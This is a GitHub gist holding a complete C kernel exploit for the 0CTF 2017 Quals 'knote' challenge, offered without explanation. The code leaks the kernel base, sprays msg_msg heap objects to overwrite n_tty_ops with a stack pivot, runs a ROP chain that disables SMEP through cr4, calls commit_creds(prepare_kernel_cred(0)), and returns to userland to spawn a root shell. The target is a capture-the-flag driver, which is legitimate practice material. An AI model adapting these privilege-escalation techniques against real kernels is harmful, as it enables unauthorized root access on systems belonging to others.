Skip to content

Instantly share code, notes, and snippets.

@hama7230
Created December 20, 2018 14:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hama7230/10772ba9e1a0abb610fa38834c30961b to your computer and use it in GitHub Desktop.
Save hama7230/10772ba9e1a0abb610fa38834c30961b to your computer and use it in GitHub Desktop.
0CTF 2017 Quals knote
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
unsigned long kernel_base;
unsigned long n_tty_ops = 0xebe920;
unsigned long stack_pivot = 0xffffffff81156f10 - 0xffffffff81000000; // : mov esp, 0x5D000080 ; ret ; (1 found)
unsigned long mod_cr4 = 0xffffffff8101ae00 - 0xffffffff81000000; //: mov cr4, edi ; pop rbp ; ret ; (1 found)
unsigned long pop_rdi = 0xffffffff8143f7cc - 0xffffffff81000000; //: pop rdi ; ret ; (1 found)
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
char* user_stack;
unsigned long user_cs;
unsigned long user_ss;
unsigned long user_rflags;
static void save_state() {
__asm__("mov %0, cs\n"
"mov %1, ss\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs),"=r"(user_ss),"=r"(user_rflags)
:
:"memory"
);
}
void launch_shell(void) {
system("/bin/sh");
}
void get_root(void) {
commit_creds(prepare_kernel_cred(0));
unsigned long* a = n_tty_ops + 0x40;
*a = (kernel_base + 0x50eee0);
__asm__("swapgs\n"
"mov rax, %0\n"
"push rax\n"
"mov rax, %1\n"
"push rax\n"
"mov rax, %2\n"
"push rax\n"
"mov rax, %3\n"
"push rax\n"
"mov rax, %4\n"
"push rax\n"
"iretq\n"
:
:"r"(user_ss),"r"(user_stack),"r"(user_rflags),"r"(user_cs),"r"(launch_shell)
:"memory"
);
}
int fd;
int ptmx_fds[0x100];
void open_ptmx(void) {
for (int i=0; i<0x100; i++)
ptmx_fds[i] = open("/dev/ptmx", O_NOCTTY|O_RDWR);
}
void close_ptmx(void) {
for (int i=0; i<0x100; i++)
close(ptmx_fds[i]);
}
struct msgbuf{
long mtype;
char mtext[0x60-0x30];
} mb;
void alloc_msg(unsigned long next, unsigned long prev) {
memset(mb.mtext, 0xff, sizeof(mb.mtext));
memcpy(mb.mtext+0x18, &next, 8);
memcpy(mb.mtext+0x20, &prev, 8);
for (int i=0; i<0x100; i++) {
int qid = msgget(i, IPC_CREAT | 0666);
mb.mtype = 0xdead;
msgsnd(qid, &mb, 0x60-0x30, 0);
}
}
void free_msg(void) {
for (int i=0; i<0x100; i++) {
int qid = msgget(i, IPC_CREAT | 0666);
msgrcv(qid, &mb, sizeof(mb.mtext), 0xdead, MSG_NOERROR | IPC_NOWAIT);
}
}
struct arg_add {
char name[0x30];
unsigned long size;
char* ptr;
} add;
void add_note(uint64_t size, char* buf) {
memset(add.name, 'A', 0x30);
add.size = size;
add.ptr = buf;
ioctl(fd, 0x1337, &add);
}
struct arg_delete {
unsigned long id;
char name[0x30];
} del;
void delete_note(unsigned long id) {
memset(del.name, 'A', 0x30);
del.id = id;
if (ioctl(fd, 0x1338, &del) < 0) {
puts("delete_note error");
exit(1);
}
}
struct arg_read {
unsigned long id;
char name[0x30];
unsigned long size;
char* buf;
} rea;
void read_note(unsigned long id, unsigned long size, char* buf) {
memset(rea.name, 'A', 0x30);
rea.id = id;
rea.size = size;
rea.buf = buf;
if (ioctl(fd, 0x1339, &rea) < 0) {
puts("read_note error");
exit(2);
}
}
int main(void) {
unsigned long tmp[0x100/8];
unsigned long* fake_stack;
user_stack = (char*)tmp;
save_state();
fake_stack = mmap(0x5D000000-0x8000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);
puts("open /dev/knote");
fd = open("/dev/knote", O_RDWR);
if (fd < 0) {
puts("open error");
exit(1);
}
puts("leak kernel address");
open_ptmx();
close_ptmx();
memset(tmp, 'x', 0x10);
add_note(0x10, (char*)tmp);
memset(tmp, 0, 0x100);
read_note(0xdeadbeef, 0x100, (char*)tmp);
kernel_base = tmp[3] - 0xa7ba00;
printf("kernel_base = 0x%lx\n", kernel_base);
n_tty_ops += kernel_base;
prepare_kernel_cred = kernel_base + 0xa5930;
commit_creds = kernel_base + 0xa5540;
printf("pkc = 0x%lx\n", prepare_kernel_cred);
printf("cc = 0x%lx\n", commit_creds);
unsigned long value = kernel_base + stack_pivot;
unsigned long lower = value & 0xffffffff;
unsigned long upper = (value & 0xffffffff00000000) >> 32;
mmap(lower & 0xfffff000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);
mmap(upper & 0xfffff000, 0x10000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0);
alloc_msg(lower, n_tty_ops + 0x40);
free_msg();
add_note(0xbeef, (char*)tmp);
alloc_msg(upper, n_tty_ops + 0x40 + 4);
free_msg();
add_note(0xbeef, (char*)tmp);
fake_stack += (0x8080/8);
*fake_stack++ = pop_rdi + kernel_base;
*fake_stack++ = 0x006f0;
*fake_stack++ = mod_cr4 + kernel_base;
*fake_stack++ = 0xdeadbeef;
*fake_stack++ = (unsigned long)get_root;
char a[20];
fgets(a, sizeof(a), stdin);
while (1);
close(fd);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment